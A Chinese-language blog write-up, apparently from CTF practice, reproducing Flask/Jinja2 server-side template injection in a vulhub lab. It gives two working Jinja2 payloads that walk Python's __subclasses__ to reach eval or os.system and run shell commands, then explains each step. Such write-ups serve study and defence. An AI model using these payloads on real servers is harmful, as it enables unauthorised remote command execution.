Flask Jinja2 SSTI

之前打CTF遇到了SSTI(模板注入)的题目,payload直接用,并没有仔细研究原理以及如何防护。结果护网杯又遇到了,虽然框架不一样。本文只记录flask jinja2 ssti的复现及payload原理和利用。漏洞环境是vulhub,在虚拟机中搭建好即可,这里不再提及。
SSTI,模板注入漏洞,由于某些模板渲染变量用户可控,在执行渲染的过程中执行了用户插入的恶意内容。

SSTI的检测

打开漏洞所在地址,页面内容为 Hello guest。发现name参数可控,修改参数为a,页面返回Hello a。在输入4,页面返回Hello 4。确定存在模板注入漏洞。

命令执行

这里先放网上的payload,后面在讲解原理。

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

上面的payload是利用python中eval()函数达到命令执行目的。下面的payload利用os模块达到命令执行目的(我在py2中执行成功,3中报错,应该是版本问题。)

1
2
3
4
5
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{c.__init__.func_globals['linecache'].__dict__['os'].system('id') }}
{% endif %}
{% endfor %}

只需修改popen或system中的参数即可执行任意命令。

payload原理分析

要理解payload原理,先要对python中的內省组件 base/mrosubclasses属性了解。自行查看python文档
我的理解是,base属性,会直接获取根类,而mro会获取寻找父类时要考虑的类,subclasses属性会获取每一个子类。
[].class 获取列表所属的类({},’’等,同理)
[].class.base 返回根类
再通过subclasses属性,获得每一个子类。暂时不看上面需要jinja2渲染的payload。
先看在python中的payload:
[].class.base.subclasses()[59].init.globals.values()[13][’eval’](‘import(“os”).popen(“pwd”).read()’)
该payload是将需要jinja2渲染的payload1转换的python版。接下来分三个部分说明。
1.[].class.base.subclasses()[59]前面不说了,[59]为我的python2.7环境下的warnings.catch_warnings模块所在位置,因为[].class.base.subclasses()返回了所有的子类,warnings.catch_warnings在其中的59位。我们可以通过warnings.catch_warnings访问os等模块,所以这里位[59]。
2.init.globals.values()[13][’eval’]
globals是函数的一个属性,以一个dict返回模块命名空间中的所有变量。而该句payload以字典的方式返回了函数的名字、地址,模块的名称、所在位置等信息。在第13位是eval函数的位置,既这里调用了eval函数。
3.(‘import(“os”).popen(“pwd”).read()’)
使用 import()动态载入os模块并执行系统命令。
payload也可以写为[].class.mro[1].subclasses()[59].init.globals.values()[13][’eval’](‘import(“os”).popen(“pwd”).read()’)。上面懂了这里只需要执行以下[].class.mro就会明白了。
payload1去掉{%%}既为python版本,由于web中进行模板注入catch_warnings的位置不定,所以需要用if判断来获取catch_warnings的位置,并从函数字典中获取eval函数,来执行命令。
其他功能的payload自行发挥,这里仅为复现漏洞,可根据实际情况利用漏洞。

参考文章

Flask(Jinja2) 服务端模板注入漏洞
利用Python特性在Jinja2模板中执行任意代码
探索Flask/Jinja2中的服务端模版注入

睡觉。

文章目录
  1. 1. SSTI的检测
  2. 2. 命令执行
  3. 3. payload原理分析
  4. 4. 参考文章
  • 睡觉。